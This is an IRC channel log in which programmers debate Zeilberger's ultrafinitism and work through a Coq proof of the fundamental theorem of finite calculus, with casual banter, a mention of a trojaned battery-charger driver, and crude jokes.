1268165534 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and all sorts of fun stuff besides < 1268165546 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :"Analogously, my own best ideas, far surpassing anything in my ‘serious’ papers, are contained in my annual April Fool’s jokes, sent to my E-correspondents and posted on my website. This way I can express my ‘off the wall’ ideas without being considered a crackpot." < 1268165580 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :isn't a similar principle used for distributing INTERCAL? < 1268165585 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: if you define !x = x then you get !!x = !x for free ;D < 1268165596 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: hahaha no. < 1268165631 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :another option is the modal necessity operator < 1268165637 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: it's unprovable that all that is wrong; no matter how small a number you suggest, it's always possible that the mesh size is smaller < 1268165642 0 :alise!~d4b78c25@gateway/web/freenode/x-vqbzejjiawebdyhc JOIN :#esoteric < 1268165657 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric : alise_: it's unprovable that all that is wrong; no matter how small a number you suggest, it's always possible that the mesh size is smaller < 1268165666 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1268165686 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: yep, except not quite < 1268165690 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it can't be smaller than the planck length < 1268165702 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well unless you pack multiple bits of info into one tiny particle < 1268165707 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268165709 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :who says that maths and physics have the same fundamental measurements? < 1268165712 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i guess not in zeilberger's ultrafinitism < 1268165723 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but most ultrafinitists are such because of physical limits < 1268165735 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e. you can't have an infinite set of natural numbers because you can never compute it all < 1268165754 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you can't have a really tiny rational because there isn't the space to show its tininess < 1268165776 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I love the talk about sqrt(2) not actually existing after all, because distances don't exist, just areas < 1268165799 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Math is a consistent fiction. < 1268165807 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Guess what? It's the consistent part that's important. < 1268165815 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :*"consistent" < 1268165824 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"consistent" fiction < 1268165826 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :LIKE ZFC < 1268165842 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :ZFC is too powerful for my taste. < 1268165850 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268165852 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I like simple theories. < 1268165856 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Like !x = x. < 1268165873 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I thought you liked consistency :P < 1268165895 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I like how he says that Goedel is "irrelevant" because the things it applies to have no meaning < 1268165896 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, I ilke !x -> x better. < 1268165900 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but that isn't even implied by rejecting all infinites < 1268165906 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :goedel numbers are huge but not infinite... < 1268165914 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and certainly not so huge that we can't represent them < 1268165971 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm restarting IE. < 1268165985 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders how to write (x+1)x(x-1)...(x-m+2)-x(x-1)...(x-m+2)(x-m+1) in a proof assistant
< 1268165993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: just write it :P < 1268165995 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"..." means induction I guess < 1268166014 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: zeilberger will love you < 1268166019 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :are you defining R := his definition too? :D < 1268166020 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :mesh size! < 1268166101 0 :alise_!~d4b78c25@gateway/web/freenode/x-mxzepjiuxgtamxed JOIN :#esoteric < 1268166122 0 :whtspc!~whtspc@j92195.upc-j.chello.nl JOIN :#esoteric < 1268166123 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what I missed I desire elaboration upon < 1268166194 0 :whtspc!unknown@unknown.invalid QUIT :Client Quit < 1268166219 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Wow, what insane garbage. It's not that I inherently object to his premise, either. It's far more that he tries to buttress it with crap. < 1268166243 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :His writing style is putrid. I'd much prefer my own whiny. < 1268166290 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268166292 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Also, I have an unstoppable urge now to define his paramaterisable finite universe. < 1268166294 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"Suppose x is even." "Well suppose it's not!" < 1268166352 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1268166522 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Presumably the mesh size h is an ultrafinitist-rational. < 1268166524 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And p is an ultrafinitist-natural. < 1268166529 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I imagine he'd just freak out at concepts like "Turing-complete". I mean, you *can't* have infinite memory. You just *can't*. < 1268166553 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The problem is that the Ultrafinitism module is paramaterised over h and p, so how do you do it? < 1268166569 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I didn't read it as being parameterized. < 1268166576 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I read it as h is a constant. < 1268166587 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :A very small, unidentified constant. But not variable. < 1268166592 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Oh, yes. < 1268166601 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But he parameterises it later in his analysis. < 1268166606 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh nice. < 1268166615 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(Because you don't know what it is.) < 1268166622 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And, of course, we don't know their True Universal Values, so for now we must specify it < 1268166631 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Trying very very hard not to LOL, natch. < 1268166634 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(me) < 1268166646 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Until the Ultrafinitist Physicist Association of America completes its experiments. < 1268166700 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :With their grant from NAO2^{80}PSA, the National Aeronautics and Observable 2^80 Particles of Space Administration. < 1268166803 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: are you sure you don't have the link to that site < 1268166808 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what site? < 1268166821 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it says it was a book that claimed to be from the future, with a bunch of formalised mathematical proofs in it < 1268166830 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :saying that oh in the past they did this all by hand ha ha ha < 1268166830 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I told you I don't know what you're talking about < 1268166833 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and it defined a bunch of maths in it < 1268166836 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ugghh yes you do you linked to it < 1268167055 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :just explain it so that I understand what you meanl < 1268167058 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: it was either in maple or ... i think coq < 1268167068 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :its name was an acronym, i think a deliberately-amusing one < 1268167071 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Ah Zeilbergers book! < 1268167082 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :haha same guy? < 1268167084 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://www.math.rutgers.edu/~zeilberg/GT.html < 1268167089 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :how come it wasn't ultrafinitist < 1268167100 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Zeilberger is one of my idols < 1268167103 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268167113 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you /idolise/ this insane man? < 1268167118 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't really have idols but I really enjoy his work < 1268167120 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :he doesn't believe there are any infinite sets... < 1268167130 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :have you ever seen an infinite set? < 1268167159 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(and don't say, yeah in my ZFC textbook: I can write "magic rainbow unicorn" on a bit of paper too) < 1268167167 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no, i mean exist as in mathematically < 1268167176 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :he thinks the definition of the reals is R = hZ_p < 1268167204 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, he thinks it should be < 1268167206 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes, but he's /talking/ about abstract systems < 1268167219 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's radical < 1268167233 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and talks about the REAL real line < 1268167233 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :as if anything abstract is "real" < 1268167237 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1268167238 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I think if you gave me an infinite amount of time and an infinite lifetime and an infinite supply of paper I could show you an infinite set < 1268167249 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :*lifespan < 1268167251 0 :alise!~d4b78c25@gateway/web/freenode/x-mldhfxbfgprqjpqv JOIN :#esoteric < 1268167258 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: it's a word starting with r < 1268167258 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but not radical < 1268167260 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i'd go for retarded < 1268167283 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :no you couldn't, {a^n | n \in N} doesn't contain an infinite word < 1268167345 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That's true, it doesn't even, at that. < 1268167373 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :All the more reason to go ultrafinitish! < 1268167377 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: seriously the fact that you don't see real.pdf and immediately realise that this guy is completely idiotic shakes my faith in things you say < 1268167409 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But wait, it's still an infinite *set*, right? < 1268167438 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268167448 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :N = {0, 1, 2, 3, ..., p} < 1268167451 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm, actually < 1268167458 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he never says p is the biggest natural < 1268167459 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you are young alise, sometimes you say things which rembind me of that < 1268167460 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or indeed the biggest prime < 1268167470 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :obviously it must be the biggest prime or the definition of R would make no sense < 1268167485 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so |N| = p and a bit :P < 1268167494 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: yeah, but at any point you'll have an element of {{a^n | n = 0, ..., k} | k \in N} < 1268167500 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268167511 0 :alise_!~d4b78c25@gateway/web/freenode/x-utszxvbodjfohytv JOIN :#esoteric < 1268167533 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"oh you don't understand the subtle adultness of considering ultrafinitism... you have to be older to know these things... one day... one day" bullshit < 1268167550 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268167640 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I would probably describe myself as a mathematical generativist, or something. < 1268167656 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :constructivism, hells yeah < 1268167669 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Not exactly constructivist. < 1268167704 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i was just asserting my own position < 1268167719 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I was just clarifying my own :) < 1268167742 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268167803 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :alise_: why wouldn't the definition of R make sense if p wasn't prime? < 1268167824 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :needs a prime p to be a field ? < 1268167826 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i don't really even believe in finite numbers, actually i often wonder whether i exist < 1268167860 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It's a matter of whether you regard computations to "halt" or not, I think. < 1268167861 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :it's not a field, p is so big you can't actually do division < 1268167863 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :now THAT is radical < 1268167891 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :CA's never "halt" unless I have some way to recognize what I want "halt" to look like < 1268167893 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: nonono, he asserts that it is prime < 1268167893 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but it makes no sense to arbitrarily restrict R's size when the whole point is "there is a limit to these things" < 1268167893 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: it's not a field, big + n is undefined < 1268167893 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh wait it's modulo < 1268167902 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :TMs are assumed to "halt" because recognizing it is trivial < 1268167918 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION loves the alisedumps
< 1268167926 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :at least that's how i see ultrafinitism, p sets the bound on anything we do, so if we wanna divide, we run out of Z_p when we try to find the number near p that's the inverse < 1268167965 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :there is an inverse but it's incredibly big so it's irrelevant < 1268167986 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: alisedumps? < 1268167988 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i'd say inverses come from assuming we have such big numbers that when dividing them by each other the rounding errors don't matter :o < 1268167992 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no coppro is the poo-lovin' guy < 1268168057 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: what's a matter of whether to regard computations to halt or not? < 1268168066 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :the constructing an infinite set thing? < 1268168083 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Every so often 4 or 5 lines from you show up at the same time, presumably due to your web->irc gateway thing < 1268168106 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: just 3g stick lag < 1268168108 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: Whether there are finite numbers, or not, or infinite numbers, or not < 1268168117 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :1 = 1.0000000000.... < 1268168124 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i don't see a connection < 1268168142 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :1 has halted < 1268168144 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :is 1.0000... an infinite number? < 1268168149 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :1.0000000.... never halts < 1268168156 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Why wouldn't it be? < 1268168178 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well it's impossible for 1 to be finite and 1.000... to be infinite, because they are the exact same object < 1268168194 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :so in fact we're working in some sort of universe of representations here? < 1268168217 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shrugs
< 1268168228 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION too
< 1268168284 0 :oklokok!unknown@unknown.invalid NICK :o|{|_o9o|_ < 1268168289 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :i'm not very leet < 1268168304 0 :alise_!unknown@unknown.invalid TOPIC #esoteric :arys < 1268168308 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1268168312 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :i should go clean up random parts of the apartment < 1268168313 0 :alise_!unknown@unknown.invalid NICK :arys < 1268168322 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :~~> < 1268168327 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Of course, the ultrafinitist, along with their unacceptance of the concept of Turing-complete, will find the Halting problem trivial. All machines always halt, due to entropy. < 1268168336 0 :arys!unknown@unknown.invalid TOPIC #esoteric :q < 1268168381 0 :ais523!unknown@unknown.invalid TOPIC #esoteric :"Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | alise sighting counter currently out of sequence | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1268168479 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :due to entropy? < 1268168481 0 :arys!unknown@unknown.invalid PRIVMSG #esoteric :DFEHGJIKGMLINGPOQIKG$L5RS&TUMVGJI@WJX)YZE)[\R?G^]NEHGJIKGLINGMSR?'aOcbML5R?d5GJVI@L5[\eS&TUMVGJI@WJf - zeilberger < 1268168481 0 :arys!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1268168482 0 :arys!unknown@unknown.invalid PRIVMSG #esoteric :fucking copy from pdf < 1268168493 0 :arys!unknown@unknown.invalid PRIVMSG #esoteric :http://www.math.rutgers.edu/~zeilberg/mamarim/mamarimPDF/goodwin.pdf < 1268168501 0 :arys!unknown@unknown.invalid PRIVMSG #esoteric :he isn't even consistent about ultrafinitism < 1268168504 0 :arys!unknown@unknown.invalid PRIVMSG #esoteric :see first paragraph < 1268168527 0 :arys!unknown@unknown.invalid PRIVMSG #esoteric :joke paper, but < 1268168566 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Perhaps he believes Aleph is a finite value. < 1268168582 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :p+1? < 1268168685 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268168685 0 :arys!unknown@unknown.invalid PRIVMSG #esoteric :now now he never said that x in N -> x < p < 1268168686 0 :arys!unknown@unknown.invalid PRIVMSG #esoteric :he just /strongly implied/ that there is no bigger prime than p < 1268168699 0 :alise!~d4b78c25@gateway/web/freenode/x-ibrcbaswxkckeirz JOIN :#esoteric < 1268168811 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268168813 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: should i learn coq? < 1268168865 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :how i stopped worrying and learned to love the coq < 1268168952 0 :arys!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268168989 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Eval compute in Discrete_Definite_Integral 1 5 (fun x => x). < 1268168995 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : = 10 < 1268168995 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : : Z < 1268169120 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :paste the code somewhere < 1268169136 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric := 1 + 2 + 3 + 4 + 5 < 1268169167 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :10 =/= 1 + 2 + 3 + 4 + 5 < 1268169169 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is about to prove Fundamental_Theorem_Of_Finite_Calculus
< 1268169172 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: err... < 1268169173 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah :P < 1268169178 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, it's correct within experimental error < 1268169181 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Unless it does < 1268169186 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :OK, I'll buy that < 1268169189 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: experimental error my arse :P < 1268169794 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :So, my woes are all because a mock object is not sufficiently mocking the the thing it set out to mock, huh? < 1268169802 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Nice. < 1268170368 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :the discrete definite integral from 1 to 5 is the sum from 1 to 4 < 1268170379 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric := 10 < 1268170467 0 :hiato!unknown@unknown.invalid QUIT :Quit: leaving < 1268170524 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: show yer koed < 1268170546 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :it's because given f we're computing a function g such that g(x+1) - g(x) = f(x), so the sum of f(x), where x goes from a to b is g(b+1) - g(a) < 1268170581 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :The code sounds like it would be trivial to me. < 1268170588 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Who's the o guy...ah, should've guessed < 1268170595 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :should be pretty trivial < 1268170624 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: yeah but proving fundamental theorem of finite calculus will be fun < 1268170645 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :what i just said is basically the proof < 1268170658 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :although i skipped it completely because it's obvious < 1268170674 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :i mean the "it's because given f ..." thing < 1268170725 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :no wait actually what's the fundamental theorem < 1268170738 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, I will when it's done < 1268170752 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm still working on proving Fundamental_Theorem_Of_Finite_Calculus < 1268170763 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :can you link the paper? < 1268170767 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :o|{|_o9o|_: inversitude < 1268170774 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :presummyby < 1268170783 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :woah you guys are talking about finite calculus too! what a coincidence < 1268170788 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION reads about the Trojan Horse found in the drivers for a battery charger
< 1268170798 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: because of you :P < 1268170802 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :aren't we talking about finite calculus because you brought it up? < 1268170823 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's funny seeing the arguments "well, if a battery charger connects to the Internet there's probably something wrong with it" vs. "why on earth would a battery charger company check to see if it connects to the Internet anyway?" < 1268170946 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :so what's the fundamental theorem? < 1268170955 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :or alternatively can someone link the paper? < 1268170977 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the finite calculus paper? http://www.stanford.edu/~dgleich/publications/finite-calculus.pdf ? < 1268170982 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :thanks < 1268170992 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I thought you already had it < 1268171098 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :okay yeah then i proved it by saying it's obvious < 1268171110 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :well i did, i didn't know i did < 1268171141 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't know how to correct that impression < 1268171192 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :the theorem doesn't actually have any mathematical content, it's just stated for convenience, so you don't have to think about what happens on the boundaries of the sum and the integral every time < 1268171211 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :not so! < 1268171232 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric : I'm not some open source hater by any means, but I think the chances that someone who gave a shit about the source of a freaking battery charger driver would be exactly the type of person who would never be dumb enough to buy a battery charger that needs a windows driver install. < 1268171238 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :this is one of the best flamewars I've seen for a while < 1268171315 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It makes me sad < 1268171366 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION proved the fundamental theorem :D
< 1268171389 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Right on. < 1268171395 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :#esoteric is full of proofs today < 1268171400 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Maybe we'll open up the bonus level < 1268171403 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :i really don't see what there is to prove < 1268171418 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :o|{|_o9o|_, I mean formal proof < 1268171438 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :if you sum adjacent values of f(x+1)-f(x)'s, obviously all but the left and rightmost ones cancel out < 1268171441 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :oh in coq? < 1268171462 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :then i obviously have no idea how hard it is < 1268171464 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :o|{|_o9o|_, oh and, I used "The Fundamental Theorem" as my definition, which means MY fundamental theorem is their definition < 1268171493 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :not very hard because Z has already a fair bit of theory in the standard library, without that -- this would not be possible < 1268171514 0 :o|{|_o9o|_!unknown@unknown.invalid PRIVMSG #esoteric :i believe you < 1268171515 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :clearly you need to use coq's "obvious" tactic < 1268171592 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268171613 0 :Daexpos!~unknown@212-166-128-139.red-acceso.airtel.net JOIN :#esoteric < 1268171640 0 :Daexpos!unknown@unknown.invalid PRIVMSG #esoteric :Who is the exoterisc? < 1268171678 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Him! < 1268171679 0 :Daexpos!unknown@unknown.invalid PRIVMSG #esoteric :Pene < 1268171680 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION points
< 1268171684 0 :Daexpos!unknown@unknown.invalid PART #esoteric :? < 1268171707 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And all present were enlightened, I'm sure. < 1268171715 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Pene. < 1268171735 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's the ablative of penis, right? < 1268171756 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Fax intends to ablate your penis. < 1268171774 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :fricative < 1268171776 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I don't know what ablate means, but it sounds painful. < 1268171776 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ouch < 1268171783 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`define ablate < 1268171786 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* wear away through erosion or vaporization \ * remove an organ or bodily structure \ [14]wordnetweb.princeton.edu/perl/webwn < 1268171797 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It is in fact quite 